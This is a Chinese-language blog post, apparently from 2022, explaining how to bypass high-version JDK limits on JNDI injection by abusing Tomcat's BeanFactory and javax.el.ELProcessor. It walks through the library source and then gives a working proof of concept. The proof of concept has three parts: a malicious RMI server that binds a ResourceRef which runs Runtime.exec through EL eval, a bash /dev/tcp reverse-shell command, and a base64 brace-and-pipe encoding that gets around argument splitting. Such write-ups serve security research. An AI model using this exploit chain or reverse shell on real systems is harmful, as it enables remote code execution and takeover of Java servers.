JNDI 高版本JDK 限制绕过

JNDI 高版本JDK 限制绕过

JNDI注入的限制以及绕过方式

image.png

RMI 方式实现的JNDI大体分为以下步骤:

  1. 客户端通过RMI方式获取 ReferenceWarpper_Stub ,通过远程调用 getReference 获取 Reference 对象。

  2. 客户端通过 Reference 获取 ObjectFactory 实现类的定义(.class)资源位置,加载并无参实例化;

    该步骤中,如果没有在本地Classpath找到 factory定义,则之后的网络加载过程会受到 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebase 属性的限制。

    • JDK 5U456U457u218u121 及其之后 java.rmi.server.useCodebaseOnly 默认值为"true"

    • JDK 6u1327u1228u113 及其之后 com.sun.jndi.rmi.object.trustURLCodebase 默认值为"false"

    • JDK6u2117u2018u19111.0.1 及其之后 com.sun.jndi.ldap.object.trustURLCodebase 默认值为"false"

  3. 通过实例化的 ObjectFactory 生成一个新的对象,并返回。

由于2、3步骤会优先加载本地ClassPath中的资源,所以如果客户端获取的 Reference 中的 ObjectFactory 在本地Class中存在,那么可以通过该工厂类代替远程工厂类,去返回包含恶意代码的类。

相关类

ObjectFactory

javax.naming.spi.ObjectFactory

用于创建客户端要获取的对象,其中包含客户端寻找远程对象的 nameContextenviroment

public interface ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?,?> environment)
        throws Exception;
}
  • objReferenceWrapper_Stub 获取的 Reference 实例;
  • name:绑定的name;
  • enviroment:传入 InitialContextmap
  • Context:InitialContext 调用的 Context 。比如RMI方式下,就是 com.sun.jndi.rmi.registry.RegistryContext

其实可以发现 objname 都是JNDI服务器可控的。

Reference

javax.naming.Reference

构造方法参数依次为:classNameaddrfactoryfactoryLocation

image-20220403180730459

StringRefAddr

javax.naming.StringRefAddr

继承于 RefAddr 并重写了 getContent

image-20220403180155146

BeanFactory

org.apache.naming.factory.BeanFactory

该类为 javax.naming.spi.ObjectFactory 的实现类,存在于 Tomcat 的依赖中,例如:tomcat-embed-core

目标类加载

org.apache.naming.ResourceRef 继承于 Reference

image-20220403204301758

该实现方法首先判断 obj 是不是一个 org.apache.naming.ResourceRef,如果是,将其转换为 Reference 类型,并获取要生成的类名,并尝试加载类,即 Reference 包含的 className

image-20220403160407328

方法名解析

之后就是通过反射无参构造目标类的实例。并检测目标类的字段,getter/setter 并为实例字段赋值。

得到从 Reference 中获取 addrTypeforceStringRefAddr ,并从 getContent 中获取以 , 分割的赋值表达式,作为 param,形式为 attr=method。之后通过 = 进行分割:

  • 如果包含 =,那么 param 就是 = 前面的内容, setterName 就是 = 后面的内容;

  • 如果没被分割,setterName 就是前面再拼接上 set, 获取 setter 方法名称。(包括这里对第一个字母做了大写转换)

遍历完之后,将 param=>beanClass.getMethod(setterName, paramTypes) 添加进map中:

image-20220403185503966

之后从 ref.getAll 获取 Reference 中所有 RefAddr,然后遍历,获取 addrType

  • 如果是 scopeauthforceStringsingleton 则跳过;

  • 否则从之前分割的表达式中构造的map中,以 addrTypegetType) 作为键,获取 Method 对象,并对 bean(之前加载的工程类)调用:method.invoke(bean, valueArray) ,这个参数数组的第一个参数就是 RefAddr#getContent

image-20220403194420434

总结

攻击者构造的服务端,需要将 ReferencefactoryClass 的值设为 org.apache.naming.factory.BeanFactory,并且要找到合适的目标类,该类在目标机器上存在并且可以执行恶意代码,并将其作为 className

而这个 className 类要执行的方法,通过 Reference 中的 RefAddr 向量来获取:

  • 其中有一个为 addrType"forceString"getContent 为要执行的方法,形式为 "param=method"
  • 其它的 RefAddr 中的 addrType 要有对应的 param ,以及 method 的参数;
ELProcessor

javax.el.ELProcessor 包含于 org.apache.tomcat.embedtomcat-embed-el 项目中(\(8.X\))。

该类包含 eval 方法,可以执行java语句:

ELProcessor processor = new ELProcessor();
Object o = processor.eval("Class.forName(\"java.lang.Runtime\")");
System.out.println(o);

class java.lang.Runtime

Peek 2022-03-28 01-49

因此可以通过 eval 方法执行以下调用链,执行恶意代码:

Class
    .forName("java.lang.Runtime")
    .getMethod("getRuntime")
    .invoke(null)
    .exec(new String[]{yourCmd, args})

具体就是:

ELProcessor processor = new ELProcessor();
Object o = processor.eval("Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"firefox\")");
System.out.println(o);

Peek 2022-03-28 01-49

不能直接通过 Runtime.class 的原因是 class 不是 Runtime 的静态属性,无法通过反射获取。

类名.class 只是一个java语法层面的东西)

这个要被 eval 的语句还是相当局限的比如 Runtime.getRuntime().exec("cmd") 不行,还有 exec(new String[]{"firefox"}) 的这种形式也不行(这会造成命令参数的错误解析(exec(String) 是以空格分割参数的)),抛出如下错误:

image-20220404022538861

还有以下调用链:

"".getClass()
    .forName("javax.script.ScriptEngineManager")
    .newInstance()
    .getEngineByName("JavaScript")
    .eval("java.lang.Runtime.getRuntime().exec(\"firefox\")")

也会有如上缺陷,貌似是用 new 就会抛错。所以基本无法正常解析多参数命令,例如:

bash -c "bash -i >&/dev/tcp/127.0.0.1/1234 0>&1"

但是可以通过管道解决空格问题:

bash -c {echo,反弹shell的base编码}|{base64,-d}|{bash,-i}

此时的命令是这样的:

bash -c {echo,YmFzaCAtaSAxPi9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0IDI+JjEgMD4mMQ==}|{base64,-d}|{bash,-i}

然后 exec(String) 把它解析为了:

bash -c "{echo,YmFzaCAtaSAxPi9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0IDI+JjEgMD4mMQ==}|{base64,-d}|{bash,-i}"

此时就可以使用 ReversedShell 了:

image-20220404032044164

虽有有点小问题,但是不得不说 ELProcessor 真的很强大啊!!!

PoC

corretton JDK 1.8.0_322

客户端包含如下依赖:

<dependency>
 <groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-catalina</artifactId>
 <version>8.5.77</version>
</dependency>

<dependency>
 <groupId>org.apache.tomcat.embed</groupId>
 <artifactId>tomcat-embed-el</artifactId>
 <version>8.5.77</version>
</dependency>
RMI服务端

因此构建如下RMI服务端:

public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {

    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "x=eval"));
    ref.add(new StringRefAddr("x", "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"firefox\")"
                             ));
    ReferenceWrapper wrapper = new ReferenceWrapper(ref);
    Registry registry = LocateRegistry.createRegistry(1099);
    registry.bind("exec",wrapper);
}

注意

  • BeanObjectFactory 会判断是否为 ResourceRef 的子类;
  • factoryLocation(第5个构造参数) 需要为 null,原因是在 RegistryContext 中:

image-20220404011836334

ref 不为 nullref.getFactoryClassLocation 不为 null ,且 trustURLCodefalse,之后会抛出 ConfigurationException

即便没有设置 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebase 属性,只要客户端使用 InitialContext#lookup(schema://host:port/refName) 也可以成功执行恶意代码:

Peek 2022-03-27 03-45

优点与局限

不会受高版本JDK的相关属性限制,不需要建立HTTP服务器,但是依赖于 Tomcat8 组件。但tomcat本身被广泛应用,且包括 springboot-web-starter 也会用到tomcat,该利用链还是有很多用处的。


参考

posted @ 2022-04-03 22:45  NIShoushun  阅读(208)  评论(0编辑  收藏  举报